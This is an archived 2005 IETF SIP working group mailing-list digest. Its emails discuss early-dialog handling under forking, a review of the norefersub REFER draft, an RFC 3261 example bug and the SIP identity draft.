From sip-bounces@ietf.org Tue Feb 1 00:29:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA25607 for ; Tue, 1 Feb 2005 00:29:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvqtf-0006Cb-5U for sip-web-archive@ietf.org; Tue, 01 Feb 2005 00:48:19 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvqQg-0002XR-Ru; Tue, 01 Feb 2005 00:18:22 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvqL7-0000TX-7L for sip@megatron.ietf.org; Tue, 01 Feb 2005 00:12:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA23948 for ; Tue, 1 Feb 2005 00:12:34 -0500 (EST) Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvqdC-0005mo-Vn for sip@ietf.org; Tue, 01 Feb 2005 00:31:19 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 31 Jan 2005 22:22:09 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j115Bvl2023883; Mon, 31 Jan 2005 21:11:57 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-2-35.cisco.com [10.86.242.35]) by mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHK53801; Mon, 31 Jan 2005 21:12:02 -0800 (PST) Message-ID: <41FF0FA2.6010207@cisco.com> Date: Tue, 01 Feb 2005 00:12:02 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Robert Sparks Subject: Re: [Sip] Provisional response to terminate early dialog References: <41FCF187.8000702@cisco.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: d0bdc596f8dd1c226c458f0b4df27a88 Content-Transfer-Encoding: 7bit Cc: "'sip@ietf.org'" , "Christer Holmberg \(JO/LMF\)" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6cca30437e2d04f45110f2ff8dc1b1d5 Content-Transfer-Encoding: 7bit Robert Sparks wrote: > How is this bound to 64T1? > > It's an INVITE transaction - it can pend potentially indefinitely > (though timer C will likely kick in to muck up the works). Oops, you are right. My brain is still not up to speed due to the nasty cold I suffered through this weekend. > > I can see the kind of cases Christer is considering: > > 1) You parallel fork to several places. All initiate early media. All > but one > return an error code that doesn't stimulate immediate forwarding > in the > proxy response context (say, 401just to see the situation, as odd > as that > would be to mix w/ early media). One leg just stays pending. The > initiating > UA will hold onto the resources for early media for _all_ of > those legs until > the pending leg completes. > > 2) If you have a serial forking proxy, and each leg initiates early > media, at the > end of the fork, the initiating UA is holding early media resources > for each > previous leg - it has no way to let go before it gets a final response. > > Personally, I see this as just one of the consequences of the > terrible thing we did when we allowed early media in the first place. > I am reticent to further complicate the protocol by introducing > provisionals > along the lines Christer is proposing - that step takes us most, if not > all, of the way to having > transactions within transactions. Taken to an extreme, this could solve > HERFP > by tunneling all the final responses on the other side of a proxy back > to the UA > so it might be able to do something about it (say they were 421 Extension > Required responses: A UA could deal with those immediately by initiating a > new branch, parallel forking at the UA (yuck)). This could even lead to > pressure > to change the merging rules so that a UA can deal with 401s as part of > early dialogs > by reissuing the request on a new branch (double-yuck). Well, you may recall that the initial proposed solution to HERFP was to use a provisional response instead of a final one for errors that are fixable. As such, I would argue that the problem Christer is worried about *is* the HERFP problem, and if we want to solve anything, we should solve that more generic one rather than this specific instantiation of it. Now, do we want to really solve the HERFP problem? Initially I thought we would for sure, but reality and actual usage has yet to show this as a pressing problem... -Jonathan R. -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 01:31:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01338 for ; Tue, 1 Feb 2005 01:31:24 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvrrT-0007hY-VD for sip-web-archive@ietf.org; Tue, 01 Feb 2005 01:50:08 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvrVT-0008DA-KT; Tue, 01 Feb 2005 01:27:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvrRg-0007an-0p for sip@megatron.ietf.org; Tue, 01 Feb 2005 01:23:28 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA00977 for ; Tue, 1 Feb 2005 01:23:27 -0500 (EST) Received: from sj-iport-4.cisco.com ([171.68.10.86]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvrjm-0007ZM-3J for sip@ietf.org; Tue, 01 Feb 2005 01:42:10 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-4.cisco.com with ESMTP; 31 Jan 2005 22:23:07 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j116Ms1M020400; Mon, 31 Jan 2005 22:22:54 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-2-35.cisco.com [10.86.242.35]) by mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHK55904; Mon, 31 Jan 2005 22:22:52 -0800 (PST) Message-ID: <41FF203C.3000105@cisco.com> Date: Tue, 01 Feb 2005 01:22:52 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rohan Mahy Subject: Re: [Sip] Abbreviated WGLC for draft-ietf-sip-refer-with-norefersub-00.txt References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a0494a0224ca59418dd8f92694c1fdb Content-Transfer-Encoding: 7bit Cc: SIP WG , Dean Willis X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 311e798ce51dbeacf5cdfcc8e9fda21b Content-Transfer-Encoding: 7bit comments: 1. the title should indicate that this draft has something to do with SIP. 2. Abstract is too short. It will be bounced by rfc-ed in this form. You need to provide a little more context here. Propose: The REFER method has been defined for the Session Initiation Protocol (SIP) for the purposes of asking a user agent to generate a request to a specified Uniform Resource Identifier (URI). Sending a REFER request creates an implicit subscription that allows the referor to get updates on the status of the request generated by the REFER. However, experience has shown that in many cases this implicit subscription is not desirable. This specification defines a new SIP option tag value that causes the recipient of the REFER to suppress the implicit subscription. 3. The introduction seems stranded without the motivation. I would rename "Motivation" to "introduction" and copy the only paragraph in the introduction to the end of the motivation section. > REFER-Recipient to the REFER-Issuer. The REFER-Recipient may choose > to cancel the implicit subscription with this NOTIFY. by setting the Subscription-State header field value in the NOTIFY to "terminated". > The "norefersub" option tag MUST be used by the REFER-Issuer only > when the REFER-Issuer can be certain that the REFER request will not > be forked. I think we need to say how it knows that. Sending the REFER to the GRUU is one way. Its really the only reliable way I think.... > The REFER-Issuer can place the "norefersub" option tag either in the > Require header or in the Supported header of the REFER request, > subject to application requirements. note on terminology: the right term here is "header field" and not "header". "header" refers to everything from the start line to the message body, and thus includes all of the header fields. > If the REFER-Recipient is willing to grant the "norefersub" behavior > for the issued REFER request, it MUST insert a Supported: norefersub > header in the 2xx response to the REFER-Issuer. In this case no > dialog is created. > This is not correct usage of Supported/Require. If you place Supported in a request, it means that an extension is understood. If the server sends a response which requires that the client understand the extension in order to process it, it includes a Require in the response. Thus, in the case above, the norefersub needs to appear in a Require in the 2xx, not a Supported. That said, I see little value in having the REFER-Recipient make the choice about whether to create the implicit subscription. Isnt it the REFER-issuer that really understands the usage behind the REFER, and thus, whether notifies are needed? I'd propose that it be used only in the Require header field in the SUBSCRIBE. > Preventing Forking of REFER Requests > > The REFER specification allows for the possibility of forking a REFER > request which is sent outside of an existing dialog. The > REFER-Issuer can ensure that REFER doesn't get forked by sending > REFER to a REFER-Recipient which has GRUU properties according to > definitions of [5]. ahh, here is that text. I'd propsoe moving it up into the previous section where you say that you MUST only use this when you know it won't be forked. That said, we don't have a way for a UA to look at a URI and determine that it has the GRUU property. How then can this requirement be met? > Example > > An example of REFER which suppresses the implicit subscription is > shown below: > > REFER sip:pc-b@tradewind.com SIP/2.0 > Via: SIP/2.0/TCP issuer.tradewind.com;branch=z9hG4bK-a-1 > From: ;tag=1a > To: > Call-ID: 1@issuer.tradewind.com > CSeq: 234234 REFER > Max-Forwards: 70 > Refer-To: > Require: norefersub > Accept-Contact: *;audio;require > Contact: sip:a@issuer.tradewind.com > Content-Type: message/sipfrag > Content-Id: <1239103912039@issuer.tradewind.com> > Content-Length: ... all example messages have to use domains from example.com or example.org. You cannot use tradewind.com. The tag in the From is invalid. It is insufficiently random. See section 19.3 of rfc3261. Same with call-id. The message indicates that the body is a sipfrag, but it is not present thus the message is invalid. Why do you want to put a sipfrag in there anyway? The message uses caller prefs headers. I suggest not to do that, it complicates the story. If you use the ellipses (...) to avoid calculating the content-length, you must state that explicitly. > This document defines a new option tag, "norefersub", which specifies > that no implicit subscription should be created as a result of > accepting the REFER request. This option tag is only meaningful for > the REFER request defined in RFC3515. this doesn't follow standard templates for iana registrations. I promise you will introduce delays like this. Suggest: This specification registers a new SIP option tag, as per the guidelines in Section 27.1 of RFC 3261. Name: norefersub Description: This option tag specifies that no implicit subscription should be created as a result of accepting the REFER request. This option tag is only meaningful for the REFER request defined in RFC3515. btw, based on this definition even, it only makes sense to place ths in Require. > Security Considerations > > This extension doesn't introduce new security threads beyond those > identified and addressed in the core SIP specifications. You are going to need to explain why. > Acknowledgements > > The SIP community would like to thank Sriram Parameswar for his ideas > being originally presented in draft-parameswar-sipping-norefersub-00 > and incorporated in this document. usually the acknowledgements are from the authors, not the community. its a nit... > 10.2 Informational References > > [5] Rosenberg, J., "Obtaining and Using Globally Routable User Agent > (UA) URIs (GRUU) in the Session Initiation Protocol (SIP)", > draft-ietf-sip-gruu-02 (work in progress), July 2004. careful here... you specify that a client MUST only send a refer to a URI if it doesnt fork, and then say later that this is done with gruu. This would make gruu a normative reference I think. -Jonathan R. Rohan Mahy wrote: > Hi Folks, > > I'd like to begin an abbreviated WGLC for: > > http://www.ietf.org/internet-drafts/draft-ietf-sip-refer-with- > norefersub-00.txt > > Since this document is extremely short and has been discussed > extensively, WGLC will end on February 1st. > > thanks, > -rohan > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 01:35:19 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01630 for ; Tue, 1 Feb 2005 01:35:19 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvrvG-0007nN-DU for sip-web-archive@ietf.org; Tue, 01 Feb 2005 01:54:02 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvrbh-0000fV-PY; Tue, 01 Feb 2005 01:33:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvrVi-0008Db-Jj for sip@megatron.ietf.org; Tue, 01 Feb 2005 01:27:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01206 for ; Tue, 1 Feb 2005 01:27:38 -0500 (EST) Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvrnm-0007dn-1Z for sip@ietf.org; Tue, 01 Feb 2005 01:46:21 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-1.cisco.com with ESMTP; 31 Jan 2005 22:36:01 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j116Qsl2013619; Mon, 31 Jan 2005 22:26:55 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-2-35.cisco.com [10.86.242.35]) by mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHK56065; Mon, 31 Jan 2005 22:27:00 -0800 (PST) Message-ID: <41FF2134.30206@cisco.com> Date: Tue, 01 Feb 2005 01:27:00 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Robert Sparks Subject: Re: [Sip] Minor anomaly in RFC 3261 Registration example? References: <656BE56E7D48F6419054CC1C811149270239FAA9@exch01.corp.xl.com> <3B3330CB-6BC4-11D9-AA3E-000D93326732@nostrum.com> In-Reply-To: <3B3330CB-6BC4-11D9-AA3E-000D93326732@nostrum.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 0fa76816851382eb71b0a882ccdc29ac Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, "Jain, Rajnish" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 31247fb3be228bb596db9127becad0bc Content-Transfer-Encoding: 7bit And in particular, this bug is in bugzilla already: http://bugs.sipit.net/show_bug.cgi?id=682 -Jonathan R. Robert Sparks wrote: > The bugzilla database is available at bugs.sipit.net. > > RjS > > On Jan 14, 2005, at 4:06 PM, Jain, Rajnish wrote: > >> Folks: >> >> Not sure if this minor anomaly has been reported before and is already >> logged in SIP bugzilla (which seems to be down right now). Apologies >> if this is a repetition. >> >> >> >> Section 10.3 of RFC 3261 states the following: >> >> 8. The registrar returns a 200 (OK) response. The response MUST >> contain Contact header field values enumerating all current >> bindings. Each Contact value MUST feature an "expires" >> parameter indicating its expiration interval chosen by the >> registrar. The response SHOULD include a Date header field. >> >> >> >> Section 24.1 of RFC 3261 gives an example of 200 OK for a REGISTER as >> the following: >> >> SIP/2.0 200 OK >> Via: SIP/2.0/UDP bobspc.biloxi.com:5060;branch=z9hG4bKnashds7 >> ;received=192.0.2.4 >> To: Bob ;tag=2493k59kd >> From: Bob ;tag=456248 >> Call-ID: 843817637684230@998sdasdh09 >> CSeq: 1826 REGISTER >> Contact: >> Expires: 7200 >> Content-Length: 0 >> >> >> >> The "expires" parameter in the 200 OK's Contact header is missing in >> this example whereas it's a MUST in the text. >> >> Thanks, >> Rajnish >> >> Email mailto:rjain@excelswitching.com >> SIP sip:rjain@voip.excelswitching.com >> PSTN 508-862-3215 >> _______________________________________________ >> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >> This list is for NEW development of the core SIP Protocol >> Use sip-implementors@cs.columbia.edu for questions on current sip >> Use sipping@ietf.org for new developments on the application of sip > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 02:11:56 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13167 for ; Tue, 1 Feb 2005 02:11:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvsUi-0000Cw-8Y for sip-web-archive@ietf.org; Tue, 01 Feb 2005 02:30:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvsBJ-0001e3-H2; Tue, 01 Feb 2005 02:10:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvs8Q-0000qR-Nr for sip@megatron.ietf.org; Tue, 01 Feb 2005 02:07:39 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09619 for ; Tue, 1 Feb 2005 02:07:37 -0500 (EST) Received: from albatross.ericsson.se ([193.180.251.49]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvsQT-00006Y-TK for sip@ietf.org; Tue, 01 Feb 2005 02:26:21 -0500 Received: from esealmw141.al.sw.ericsson.se ([153.88.254.120]) by albatross.ericsson.se (8.12.10/8.12.10/WIREfire-1.8b) with ESMTP id j1177WvD021764 for ; Tue, 1 Feb 2005 08:07:33 +0100 (MET) Received: from esealnt610.al.sw.ericsson.se ([153.88.254.120]) by esealmw141.al.sw.ericsson.se with Microsoft SMTPSVC(6.0.3790.211); Tue, 1 Feb 2005 08:07:45 +0100 Received: by esealnt610.al.sw.ericsson.se with Internet Mail Service (5.5.2657.72) id ; Tue, 1 Feb 2005 08:09:39 +0100 Message-ID: From: "Christer Holmberg (JO/LMF)" To: "'Robert Sparks'" , Jonathan Rosenberg Subject: RE: [Sip] Provisional response to terminate early dialog Date: Tue, 1 Feb 2005 08:07:17 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-OriginalArrivalTime: 01 Feb 2005 07:07:45.0419 (UTC) FILETIME=[BAB8E5B0:01C5082C] X-Spam-Score: 0.0 (/) X-Scan-Signature: 2e8fc473f5174be667965460bd5288ba Cc: "'sip@ietf.org'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 20f22c03b5c66958bff5ef54fcda6e48 Hi, In my use-case I actually meant to say SERIAL forking, not parallel. Of course, from a UAC perspective it doesn't matter (it doesn't know how the forking is done). However, the fact that we can receive early media from multiple UASs in the parallel case I probably something we can do very little about, and if many nodes send early media at the same time it may not help much to have an indication on when a dialog is terminated. In the serial case, however, there will only be early media from one node at a time. But, when one fork is terminated, the media may "switch" to another dialog, initiated by the next fork. But, again, since the UAC doesn't knows that there will be no more early media from the first fork it may keep the resources reserved for the first fork until it receives a final response from another fork. Jonathan said in his second reply that we need to find out if this will be a problem in reality. The reason for my initial question was basically due to the work on supplementary services which is currently ongoing in the ETSI TISPAN and 3GPP bodies. Some services will provide early media/announcments, and one idea is that they will be associated to a specific early dialog. The media coming from the actual UAS will then be associated with another dialog. To describe it easy, from a SIP perspective there would be a proxy doing serial forking, first to the announcement UAS, and then to the actual UAS. The problem is that a 3GPP UAC may choose not to accept (for a number of technical reasons) multiple early dialogs, so in this case it would probably accept the first "announcement" dialog, but not the UAC-UAS dialog - which is of course bad. However, if the node doing the forking would be able to directly, when the announcement has finished, indicate to the UAC that the announcement dialog is terminated, the UAC could free the resources associated with that and then accept the UAC-UAS dialog. So, I think that would be a very good feature, and I don't think it would take much to define it. And, using a provisional response would (as I said earlier) also be backward compatible. Now, about forwarding mutliple FINAL responses - I don't think we should go that way - at least not until we have real requirements for it. It would require much more work - not only to forward the responses themselves, but also to handle the possible actions that may/should/should not be taken by the UAC when receiving multiple final responses. There would probably also be backward compability issues. As Jonathan said, one thing could be to include the final response code in the new provisional response. The UAC could then, depedning on the response code, its implementation logic etc, choose to CANCEL the WHOLE INVITE, and re-issue a new INVITE (for example including extensions which were required). I do NOT think that we should go the transaction-within-transactions way, and start sending "new INVITEs" for certain early dialogs. Regards, Christer Holmberg Ericsson Finland > -----Original Message----- > From: Robert Sparks [mailto:rjsparks@nostrum.com] > Sent: 31. tammikuuta 2005 19:31 > To: Jonathan Rosenberg > Cc: 'sip@ietf.org'; Christer Holmberg (JO/LMF) > Subject: Re: [Sip] Provisional response to terminate early dialog > > > How is this bound to 64T1? > > It's an INVITE transaction - it can pend potentially indefinitely > (though timer C will likely kick in to muck up the works). > > I can see the kind of cases Christer is considering: > > 1) You parallel fork to several places. All initiate early > media. All > but one > return an error code that doesn't stimulate immediate > forwarding > in the > proxy response context (say, 401just to see the situation, as > odd as that > would be to mix w/ early media). One leg just stays > pending. The > initiating > UA will hold onto the resources for early media for _all_ of > those legs until > the pending leg completes. > > 2) If you have a serial forking proxy, and each leg initiates early > media, at the > end of the fork, the initiating UA is holding early > media resources > for each > previous leg - it has no way to let go before it gets a final > response. > > Personally, I see this as just one of the consequences of the > terrible thing we did when we allowed early media in the first place. > I am reticent to further complicate the protocol by introducing > provisionals > along the lines Christer is proposing - that step takes us > most, if not > all, of the way to having > transactions within transactions. Taken to an extreme, this > could solve > HERFP > by tunneling all the final responses on the other side of a > proxy back > to the UA > so it might be able to do something about it (say they were 421 > Extension > Required responses: A UA could deal with those immediately by > initiating a > new branch, parallel forking at the UA (yuck)). This could > even lead to > pressure > to change the merging rules so that a UA can deal with 401s > as part of > early dialogs > by reissuing the request on a new branch (double-yuck). > > In shorter words, I think this is a problem we should admit we have, > but not > try to do anything about. If we _do_ choose to do something about it, > then we > better carefully bound the scope. > > RjS > > On Jan 30, 2005, at 8:39 AM, Jonathan Rosenberg wrote: > > > > > > > Christer Holmberg (JO/LMF) wrote: > > > >> Hi, > >> Today, when a request gets forked, the forking proxy will > "collect" > >> final responses received from the different dialogs. > >> The calling UAC, however, does now know when specific > early dialogs > >> are > >> terminated, since the forking proxy will not forward the > final answer. > >> That means that the UAC may have to keep resources etc that it > >> reserved when the early dialog was created (by a 18x provisional > >> response) > >> available until the proxy forwards a final response. > > > > This is a relatively small amount of time - 32 seconds. > > > >> Would it somehow be possible to define a "dialog has been > terminated" > >> response code that the proxy could > >> send to the UAC directly each time it receives an error > response from > >> any of the forked dialogs. A provisional response code > would probably > >> be good, because it would be backward compatible (nodes that don't > >> support it simply keeps the early dialog alive until the final > >> response comes from the forking proxy, as today). > > > > I don't really see what the problem is. Is this 32 seconds > or so that > > critical? Besides shaving a few seconds off the amount of > time that a > > UAC holds transaction state, is there any other benefit? > > > > -Jonathan R. > > > > -- > > Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza > > Director, Service Provider VoIP Architecture Parsippany, NJ > > 07054-2711 > > Cisco Systems > > jdrosen@cisco.com FAX: (973) 952-5050 > > http://www.jdrosen.net PHONE: (973) 952-5000 > > http://www.cisco.com > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 1 03:55:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04287 for ; Tue, 1 Feb 2005 03:55:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvu7B-00031S-9w for sip-web-archive@ietf.org; Tue, 01 Feb 2005 04:14:29 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvtj5-0001GL-N0; Tue, 01 Feb 2005 03:49:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvtfX-0000Pq-6F for sip@megatron.ietf.org; Tue, 01 Feb 2005 03:45:55 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03311 for ; Tue, 1 Feb 2005 03:45:54 -0500 (EST) Received: from courier.cs.helsinki.fi ([128.214.9.1] helo=mail.cs.helsinki.fi) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvtxd-0002lQ-HF for sip@ietf.org; Tue, 01 Feb 2005 04:04:38 -0500 Received: from [128.214.10.226] (pehesaari-17.cs.helsinki.fi [128.214.10.226]) (AUTH: PLAIN leggio, TLS: TLSv1/SSLv3,256bits,AES256-SHA) by mail.cs.helsinki.fi with esmtp; Tue, 01 Feb 2005 10:45:51 +0200 id 00071048.41FF41BF.00001C4C Message-ID: <41FF41C4.6070409@cs.helsinki.fi> Date: Tue, 01 Feb 2005 10:45:56 +0200 From: Simone Leggio User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en, fi MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7baded97d9887f7a0c7e8a33c2e3ea1b Content-Transfer-Encoding: 7bit Subject: [Sip] Questions on the SIP identity draft X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Content-Transfer-Encoding: 7bit Hi all, I have a couple of questions about the SIP identity draft, i.e. Enhancements for Authenticated Identity Management in the Session Initiation Protocol (SIP) draft-ietf-sip-identity-03 1) In the background section, I quote: > Note that the scope of this > document is limited to providing this identity assurance for SIP > requests; solving this problem for SIP responses is more complicated, > and is a subject for future work. Why can't SIP Identity be applied to responses as well? Why can't an Identity header field be added based on the relevant response fields? At least, final responses like 200 OK. For more security, instead of adding only the addr-spec component of the To header field, it may be added also the tag part. Am I forgetting some relevant security issue? 2) Section 10 says that > The REGISTER method uses Contact header fields in very unusual ways that > complicate its applicability to this mechanism. Accordingly, the > Identity and Identity-Info header MUST NOT appear in REGISTER Why can't the REGISTER be protected? Usually authentication happens because user agent and server share a common secret, i.e. password. What if they would share a key? The user agent signs the REGISTER with its key, and the server uses it for verifying the identity of the authenticating entity. Of course, the user agent has communicated previously its key to the server, probably when the user registers for the first time in that SIP 